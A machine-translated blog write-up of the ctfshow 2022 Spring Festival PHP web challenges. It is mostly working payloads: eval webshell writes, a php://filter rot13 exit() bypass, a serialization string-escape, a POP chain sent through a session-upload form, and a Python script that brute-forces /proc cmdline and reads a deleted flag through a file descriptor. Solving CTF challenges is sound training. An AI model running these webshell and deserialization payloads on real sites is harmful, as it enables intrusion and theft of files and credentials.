当前位置:网站首页>Ctfshow 2022 Spring Festival welcome (detailed commentary)
Ctfshow 2022 Spring Festival welcome (detailed commentary)
2022-07-05 04:04:00 【Yn8rt】
ctfshow New year welcome
Warm up
<?php
/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2022-01-16 15:42:02 # @Last Modified by: h1xa # @Last Modified time: 2022-01-24 22:14:02 # @email: [email protected] # @link: https://ctfer.com */
eval($_GET['f']);
Write a sentence directly :?f=file_put_contents('2.php','<?php eval($_REQUEST[1]);highlight_file(__FILE__);?>');
phpinfo():[ Failed to transfer the external chain picture , The origin station may have anti-theft chain mechanism , It is suggested to save the pictures and upload them directly (img-1kJ5vCl2-1644563627932)(http://images2.5666888.xyz//image-20220208175645977.png)]
There is a , Below this file is flag
Can directly cat tac
Train of thought two :
View the variables of the current page , Go straight out flag
?f=print_r(get_defined_vars());
web1
<?php
/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2022-01-16 15:42:02 # @Last Modified by: h1xa # @Last Modified time: 2022-01-24 22:14:02 # @email: [email protected] # @link: https://ctfer.com */
highlight_file(__FILE__);
error_reporting(0);
$content = $_GET[content];
file_put_contents($content,'<?php exit();'.$content);
This is not to bypass death exit() Well
2016 In the year p God proposed a solution to this problem :https://www.leavesongs.com/PENETRATION/php-filter-magic.html
The times are progressing :php://filter Bypass death file_put_content() base64 The code of is small trick
There are online rot13 Coding is convenient for direct use
Online universal payload:?content=php://filter/write=string.rot13|<?cuc @riny($_CBFG[pzq]);?>|/resource=shell.php
========><?php @eval($_POST[cmd]);?>
web2
<?php
/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2022-01-16 15:42:02 # @Last Modified by: h1xa # @Last Modified time: 2022-01-24 22:14:02 # @email: [email protected] # @link: https://ctfer.com */
highlight_file(__FILE__);
session_start();
error_reporting(0);
include "flag.php";
if(count($_POST)===1){
//post The parameter quantity passed in must be only one
extract($_POST);
if (call_user_func($$$$$${
key($_POST)})==="HappyNewYear"){
//invoke
echo $flag;
}
}
?>
session_id() Returns the current session ID. If there is no current session , Returns an empty string ("").
<?php
highlight_file(__FILE__);
session_start();
echo session_id();
The return value is PHPSESSID The content in
payload:
POST http://89a75279-b83f-4cc3-9cca-cb60e2ab6716.challenge.ctf.show/ HTTP/1.1
Host: 89a75279-b83f-4cc3-9cca-cb60e2ab6716.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: log_Id_pv=5; PHPSESSID=HappyNewYear
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 21
session_id=session_id
web3
<?php
/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2022-01-16 15:42:02 # @Last Modified by: h1xa # @Last Modified time: 2022-01-24 22:14:02 # @email: [email protected] # @link: https://ctfer.com */
highlight_file(__FILE__);
error_reporting(0);
include "flag.php";
$key= call_user_func(($_GET[1]));
if($key=="HappyNewYear"){
echo $flag;
}
die(" Good luck in the year of the tiger , Happy New Year !");
payload:
?1=session_start
?1=error_reporting
?1=json_last_error
json_last_error: If there is , return JSON The last error in encoding and decoding .
error_reporting: If no optional parameters are set level
, error_reporting() Only the current error reporting level will be returned .
session_start: Open a session
Here's one Weak comparison , Let's do an experiment :
<?php
$key = call_user_func('session_start');
var_dump($key);
// $val = "happy";
if($key=='happy'){
var_dump($key);
// var_dump($val);
echo "happy";
}else{
var_dump($val);
echo 'failed';
}
E:\phpstudy\PHPTutorial\WWW\testphp\sessionid.php:5:boolean true
E:\phpstudy\PHPTutorial\WWW\testphp\sessionid.php:8:boolean true
happy
There's one right here key The transformation that's going on , To put it bluntly, we need Pass in a function Can return 1 such , similar session_start ob_start
web4( The callback function writes after processing )
<?php
/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2022-01-16 15:42:02 # @Last Modified by: h1xa # @Last Modified time: 2022-01-24 22:14:02 # @email: [email protected] # @link: https://ctfer.com */
highlight_file(__FILE__);
error_reporting(0);
$key= call_user_func(($_GET[1]));
file_put_contents($key, "<?php eval(\$_POST[1]);?>");
die(" Good luck in the year of the tiger , Happy New Year !");
spl_autoload_extensions — Register and return spl_autoload The default file extension used by the function .
When this function is called without any parameters , It returns a list of the current file extensions , The different extensions are separated by commas . To modify the list of file extensions , Call this function with a comma separated new extension list string . Chinese note : default spl_autoload The extension used by the function is ".inc,.php".
?1=spl_autoload_extensions
Generate .inc,.php file (shell file )
[ Failed to transfer the external chain picture , The origin station may have anti-theft chain mechanism , It is suggested to save the pictures and upload them directly (img-nJ8LKoT1-1644563627933)(http://images2.5666888.xyz//image-20220210153925921.png)]
web5
official wp: Send a lot of hu You can enlarge the memory occupation through replacement , exceed php Maximum default memory 256M This will cause variable definition failure , A fatal error occurred, skipping subsequent overwrite writes
<?php
/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2022-01-16 15:42:02 # @Last Modified by: h1xa # @Last Modified time: 2022-01-24 22:14:02 # @email: [email protected] # @link: https://ctfer.com */
error_reporting(0);
highlight_file(__FILE__);
include ".php";
file_put_contents("", $flag);
$ = str_replace("hu", "", $_POST['']);
file_put_contents("", $);
$a = str_repeat('hu',524280);
web6
<?php
error_reporting(0);
highlight_file(__FILE__);
$function = $_GET['POST'];
function filter($img){
$filter_arr = array('ctfshow','daniu','happyhuyear');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION['function'] = $function;
extract($_POST['GET']);
$_SESSION['file'] = base64_encode("/root/flag");
$serialize_info = filter(serialize($_SESSION));
if($function == 'GET'){
$userinfo = unserialize($serialize_info);
// The author has already taken flag, The title is normal , in other words ...
echo file_get_contents(base64_decode($userinfo['file']));
}
The prompt is to read the log
The configuration file /etc/nginx/nginx.conf L2V0Yy9uZ2lueC9uZ2lueC5jb25m
Access log /var/log/nginx/access.log
He is what he is :
<?php
$_SESSION['function'] = 'GET';
$_SESSION['file'] = base64_encode("/root/flag");
echo serialize($_SESSION);
//a:2:{s:8:"function";s:3:"GET";s:4:"file";s:16:"L3Jvb3QvZmxhZw==";}
We need to splice :
<?php
$_SESSION['file'] = base64_encode("/etc/nginx/nginx.conf");
echo serialize($_SESSION);
//a:1:{s:4:"file";s:28:"L2V0Yy9uZ2lueC9uZ2lueC5jb25m";}
because $_SESSION['file']
After variable override , So we need to squeeze him out
<?php
$_SESSION['function'] = 'GET';
$_SESSION['ctfshow'] = 's:4:"file";s:28:"L2V0Yy9uZ2lueC9uZ2lueC5jb25m";}';
$_SESSION['filx'] = base64_encode("/root/flag");
echo serialize($_SESSION);
//a:3:{s:8:"function";s:3:"GET";s:7:"ctfshow";s:48:"s:4:"file";s:28:"L2V0Yy9uZ2lueC9uZ2lueC5jb25m";}";s:4:"filx";s:16:"L3Jvb3QvZmxhZw==";}
After filtering :
//a:3:{s:8:"function";s:3:"GET";s:7:"";s:48:"s:4:"file";s:28:"L2V0Yy9uZ2lueC9uZ2lueC5jb25m";}";s:4:"filx";s:16:"L3Jvb3QvZmxhZw==";}
Lack of 7 Characters will report an error , We need to fake it :
//a:3:{s:8:"function";s:3:"GET";s:7:"";s:48:";s:5:"yn8rt";s:4:"file";s:28:"L2V0Yy9uZ2lueC9uZ2lueC5jb25m";}";s:4:"filx";s:16:"L3Jvb3QvZmxhZw==";}
Intercept forged sequences :
;s:5:"yn8rt";s:4:"file";s:28:"L2V0Yy9uZ2lueC9uZ2lueC5jb25m";}
Perform variable overrides :
GET[_SESSION][ctfshow]=;s:5:"yn8rt";s:4:"file";s:28:"L2V0Yy9uZ2lueC9uZ2lueC5jb25m";}
Empathy :
GET[_SESSION][ctfshowdaniu]=0000";s:5:"yn8rt";s:4:"file";s:28:"L2V0Yy9uZ2lueC9uZ2lueC5jb25m";}
What I need to do is fill the empty space for the filtered strings and merge
web7
index.php
<?php
include("class.php");
error_reporting(0);
highlight_file(__FILE__);
ini_set("session.serialize_handler", "php");
session_start();
if (isset($_GET['phpinfo']))
{
phpinfo();
}
if (isset($_GET['source']))
{
highlight_file("class.php");
}
$happy=new Happy();
$happy();
?>
class.php
<?php
class Happy {
public $happy;
function __construct(){
$this->happy="Happy_New_Year!!!";
}
function __destruct(){
$this->happy->happy;
}
public function __call($funName, $arguments){
die($this->happy->$funName);
}
public function __set($key,$value)
{
$this->happy->$key = $value;
}
public function __invoke()
{
echo $this->happy;
}
}
class _New_{
public $daniu;
public $robot;
public $notrobot;
private $_New_;
function __construct(){
$this->daniu="I'm daniu.";
$this->robot="I'm robot.";
$this->notrobot="I'm not a robot.";
}
public function __call($funName, $arguments){
echo $this->daniu.$funName."not exists!!!";
}
public function __invoke()
{
echo $this->daniu;
$this->daniu=$this->robot;
echo $this->daniu;
}
public function __toString()
{
$robot=$this->robot;
$this->daniu->$robot=$this->notrobot;
return (string)$this->daniu;
}
public function __get($key){
echo $this->daniu.$key."not exists!!!";
}
}
class Year{
public $zodiac;
public function __invoke()
{
echo "happy ".$this->zodiac." year!";
}
function __construct(){
$this->zodiac="Hu";
}
public function __toString()
{
$this->show();
}
public function __set($key,$value)#3
{
$this->$key = $value;
}
public function show(){
die(file_get_contents($this->zodiac));
}
public function __wakeup()
{
$this->zodiac = 'hu';
}
}
?>
The chain is more conventional :
Happy:__destruct()=>_New_:__get()=>_New_:__toString()=>Year:__toString()=>Year:Show()
poc:
<?php
class Happy {
public $happy;
}
class _New_{
public $daniu;
public $robot;
public $notrobot;
}
class Year{
public $zodiac;
}
$a=new Happy();
$a->happy=new _New_();
$a->happy->daniu=new _New_();
$a->happy->daniu->daniu=new Year();
$a->happy->daniu->robot="zodiac";
$a->happy->daniu->notrobot="/etc/passwd";
var_dump(serialize($a));
?>
//'O:5:"Happy":1:{s:5:"happy";O:5:"_New_":3:{s:5:"daniu";O:5:"_New_":3:{s:5:"daniu";O:4:"Year":1:{s:6:"zodiac";N;}s:5:"robot";s:6:"zodiac";s:8:"notrobot";s:11:"/etc/passwd";}s:5:"robot";N;s:8:"notrobot";N;}}'
Processing script :( It is suggested to directly add poc Below )
<?php
$b = '|O:5:"Happy":1:{s:5:"happy";O:5:"_New_":3:{s:5:"daniu";O:5:"_New_":3:{s:5:"daniu";O:4:"Year":1:{s:6:"zodiac";N;}s:5:"robot";s:6:"zodiac";s:8:"notrobot";s:11:"/etc/passwd";}s:5:"robot";N;s:8:"notrobot";N;}}';
echo addslashes($b);
//|O:5:\"Happy\":1:{s:5:\"happy\";O:5:\"_New_\":3:{s:5:\"daniu\";O:5:\"_New_\":3:{s:5:\"daniu\";O:4:\"Year\":1:{s:6:\"zodiac\";N;}s:5:\"robot\";s:6:\"zodiac\";s:8:\"notrobot\";s:11:\"/etc/passwd\";}s:5:\"robot\";N;s:8:\"notrobot\";N;}}
Form for submission :
<!DOCTYPE html>
<html>
<body>
<form action="http://d8868a5c-3faf-47eb-9651-87bab1a860ca.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
Replace filename The content of , You can verify
/proc/{pid}/cmdline It is readable by all users , You can write scripts to explode the process id Of cmdline:
import requests
import time
def get_file(filename):
data="""-----------------------------17234128115294 Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS" 123 -----------------------------17234128115294 Content-Disposition: form-data; name="file"; filename="|O:5:\\"Happy\\":1:{s:5:\\"happy\\";O:5:\\"_New_\\":3:{s:5:\\"daniu\\";O:5:\\"_New_\\":3:{s:5:\\"daniu\\";O:4:\\"Year\\":1:{s:6:\\"zodiac\\";N;}s:5:\\"robot\\";s:6:\\"zodiac\\";s:8:\\"notrobot\\";s:"""+str(len(filename))+""":\\\""""+filename+"""\\";}s:5:\\"robot\\";N;s:8:\\"notrobot\\";N;}}"
Content-Type: text/plain
-----------------------------17234128115294--"""
r=requests.post(url='http://d8868a5c-3faf-47eb-9651-87bab1a860ca.challenge.ctf.show/',data=data,headers={
'Content-Type':'multipart/form-data; boundary=---------------------------17234128115294','Cookie': 'PHPSESSID=73de676b0bc50d3d9a2de4c89cc5c1cf'})
return(r.text.encode()[1990:])# Remove the source code information ,encode To show \00
for i in range(999):
print(i)
print(get_file('/proc/'+str(i)+'/cmdline'))
time.sleep(0.2)
[ Failed to transfer the external chain picture , The origin station may have anti-theft chain mechanism , It is suggested to save the pictures and upload them directly (img-Vi7EUTMA-1644563627933)(http://images2.5666888.xyz//image-20220211150208933.png)]
Here it is. /proc/114/cmdline in :python3/app/server.py
//filename="|O:5:\"Happy\":1:{s:5:\"happy\";O:5:\"_New_\":3:{s:5:\"daniu\";O:5:\"_New_\":3:{s:5:\"daniu\";O:4:\"Year\":1:{s:6:\"zodiac\";N;}s:5:\"robot\";s:6:\"zodiac\";s:8:\"notrobot\";s:14:\"/app/server.py\";}s:5:\"robot\";N;s:8:\"notrobot\";N;}}"
import os
app = Flask(__name__)
flag=open('/flag','r')
#flag I deleted
os.remove('/flag')
@app.route('/', methods=['GET', 'POST'])
def index():
return "flag I deleted , Don't look for it "
@app.route('/download/', methods=['GET', 'POST'])
def download_file():
return send_file(request.args['filename'])
if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000, debug=False)
flag Is in open Later deleted , And it hasn't been released yet , So it can be /proc/self/fd/ Find below , But there should be a place where you can read documents ,/download/ You can read files under the route , So read flag
filename="|O:5:\"Happy\":1:{s:5:\"happy\";O:5:\"_New_\":3:{s:5:\"daniu\";O:5:\"_New_\":3:{s:5:\"daniu\";O:4:\"Year\":1:{s:6:\"zodiac\";N;}s:5:\"robot\";s:6:\"zodiac\";s:8:\"notrobot\";s:56:\"http://127.0.0.1:5000/download/?filename=/proc/self/fd/3\";}s:5:\"robot\";N;s:8:\"notrobot\";N;}}"
0 yes stdin 1 yes stdout 2 yes stderr,fd Number can be from 3 Start trying .
边栏推荐
- @Transactional 注解导致跨库查询失效的问题
- A real day for Beijing programmers!!!!!
- Special Edition: spreadjs v15.1 vs spreadjs v15.0
- As soon as I write the code, President Wang talks with me about the pattern all day
- 【无标题】
- C # use awaiter
- On the day 25K joined Tencent, I cried
- [software reverse - basic knowledge] analysis method, assembly instruction architecture
- Deflocculant aminoiodotide eye drops
- Threejs rendering obj+mtl model source code, 3D factory model
猜你喜欢
Use Firefox browser to quickly pick up Web image materials
IronXL for .NET 2022.6
【看完就懂系列】一文6000字教你从0到1实现接口自动化
Wechat applet development process (with mind map)
UI自动化测试从此告别手动下载浏览器驱动
Behavior perception system
error Couldn‘t find a package. JSON file in "your path“
在线文本行固定长度填充工具
在线SQL转Excel(xls/xlsx)工具
Uni app common functions /api
随机推荐
Longyuan war "epidemic" 2021 network security competition web easyjaba
[C language] address book - dynamic and static implementation
北京程序员的真实一天!!!!!
Three level linkage demo of uniapp uview u-picker components
EasyCVR平台出现WebRTC协议视频播放不了是什么原因?
How about programmers' eyesight| Daily anecdotes
NEW:Devart dotConnect ADO.NET
About the recent experience of writing questions
How does the applet solve the rendering layer network layer error?
Resolved (sqlalchemy+pandas.read_sql) attributeerror: 'engine' object has no attribute 'execution_ options‘
lds链接的 顺序问题
25K 入职腾讯的那天,我特么哭了
Interview summary: This is a comprehensive & detailed Android interview guide
Pyqt5 displays file names and pictures
10种寻址方式之间的区别
Operation flow of UE4 DMX and grandma2 onpc 3.1.2.5
NEW:Devart dotConnect ADO. NET
[software reverse - basic knowledge] analysis method, assembly instruction architecture
Phpmailer reported an error: SMTP error: failed to connect to server: (0)
WGS84 coordinate system, web Mercator, gcj02 coordinate system, bd09 coordinate system - brief introduction to common coordinate systems